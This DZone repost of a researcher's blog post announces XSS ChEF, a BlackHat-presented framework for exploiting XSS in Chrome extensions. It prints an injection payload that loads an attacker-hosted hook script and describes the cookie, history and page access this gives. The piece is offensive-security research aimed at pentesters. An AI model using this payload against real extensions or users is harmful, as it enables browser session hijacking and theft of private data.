DZone
Thanks for visiting DZone today,
Edit Profile
  • Manage Email Subscriptions
  • How to Post to DZone
  • Article Submission Guidelines
Sign Out View Profile
  • Post an Article
  • Manage My Drafts
Over 2 million developers have joined DZone.
Log In / Join
Refcards Trend Reports Events Over 2 million developers have joined DZone. Join Today! Thanks for visiting DZone today,
Edit Profile Manage Email Subscriptions Moderation Admin Console How to Post to DZone Article Submission Guidelines
View Profile
Sign Out
Refcards
Trend Reports
Events
Zones
Culture and Methodologies Agile Career Development Methodologies Team Management
Data Engineering AI/ML Big Data Data Databases IoT
Software Design and Architecture Cloud Architecture Containers Integration Microservices Performance Security
Coding Frameworks Java JavaScript Languages Tools
Testing, Deployment, and Maintenance Deployment DevOps and CI/CD Maintenance Monitoring and Observability Testing, Tools, and Frameworks
Culture and Methodologies
Agile Career Development Methodologies Team Management
Data Engineering
AI/ML Big Data Data Databases IoT
Software Design and Architecture
Cloud Architecture Containers Integration Microservices Performance Security
Coding
Frameworks Java JavaScript Languages Tools
Testing, Deployment, and Maintenance
Deployment DevOps and CI/CD Maintenance Monitoring and Observability Testing, Tools, and Frameworks
  1. DZone
  2. Testing, Deployment, and Maintenance
  3. Deployment
  4. XSS ChEF: Chrome Extension Exploitation Framework

XSS ChEF: Chrome Extension Exploitation Framework

Krzysztof  Kotowicz  user avatar by
Krzysztof Kotowicz
·
Jul. 30, 12 · Interview
Like (0)
Save
Tweet
Share
4.38K Views

Join the DZone community and get the full member experience.

Join For Free
Recently I've been busy with my new little project. What started out as a proof of concept suddenly became good enough to demonstrate it with Kyle Osborn at BlackHat, so I decided I might just present it here too ;)

Zombifying alert(1)

What do you do when you find XSS on a website? alert(1) of course. What you can do instead is to try to make something bigger out of it. You have several options:
  • If you're Samy, you write a worm (and you almost go to jail in return because the worm is so successful)
  • If you're a bad guy, you redirect to an exploit-kit. 
  • If you're a pentester - you can use that XSS for further exploitation.
Let's focus on this last case - you want to exploit the application. You can do that manually via some handcrafted JS code, you can use various libraries with ready-made features (like XSS-Track) or you can inject a BeEF hook and make your tested application a zombie ready to receive commands from the zombie master (i.e. you). BeEF is probably as good as it gets when it comes to exploiting XSS within web pages.

Chrome extensions are web apps too!

Chrome extensions are basically just HTML5 applications and can suffer from standard web vulnerabilities (read our BlackHat whitepaper: Advanced Chrome Extension Exploitation: Leveraging API powers for Better Evil for more details). Among them our beloved XSS. Yes, as it turns out, XSS vulnerabilities in Chrome extensions are pretty common (again - see white paper).

Exploiting XSS in Chrome extensions is way cooler though, because they have much more capabilities than the standard webpages. Depending on the permissions declared in the manifest, they may be able to:
  • get the content of every page that you visit (and URLs that you visit in incognito mode)
  • execute JS in context of every website (Global XSS)
  • take screenshots of your browser tabs
  • monitor and alter your browsing history & cookies (even httpOnly!)
  • access your bookmarks
  • even change your proxy settings
And, once you've got XSS, you can do all of the above within your payload. Once you know the details of the asynchronous chrome.* APIs.

But that's so cumbersome!

Yeah, I know. And I'm lazy too, so I've created a tool called XSS CheF - Chrome Extension Exploitation Framework which does the work for me. It's basically a BeEF equivalent for Chrome extensions. So, once you've found XSS vulnerability within Chrome extension, you can simply inject a payload like this:

<img src=x onerror="if(location.protocol.indexOf('chrome')==0){
d=document;e=createElement('script');e.src='http://localhost/xsschef/hook.php';
d.body.appendChild(e);}">
To get total control over the whole browsing session via attacker's console.

Console
XSS ChEF is designed from the ground up for 
exploiting extensions. It's fast (thanks to using WebSockets), and it comes preloaded with automated 
attack scripts:

Download

XSS ChEF is available on GitHub under GPLv3 license. As always - clone, download, test it and let me know how do you feel about it. Suggestions & contributions are more than welcome.

 

 

 

 

 

Chef (software) Framework

Published at DZone with permission of Krzysztof Kotowicz , DZone MVB. See the original article here.

Opinions expressed by DZone contributors are their own.

Popular on DZone

  • ChatGPT: The Unexpected API Test Automation Help
  • What Should You Know About Graph Database’s Scalability?
  • Better Performance and Security by Monitoring Logs, Metrics, and More
  • Tech Layoffs [Comic]

Comments

Partner Resources

X

ABOUT US

  • About DZone
  • Send feedback
  • Careers
  • Sitemap

ADVERTISE

  • Advertise with DZone

CONTRIBUTE ON DZONE

  • Article Submission Guidelines
  • Become a Contributor
  • Visit the Writers' Zone

LEGAL

  • Terms of Service
  • Privacy Policy

CONTACT US

  • 600 Park Offices Drive
  • Suite 300
  • Durham, NC 27709
  • support@dzone.com
  • +1 (919) 678-0300

Let's be friends: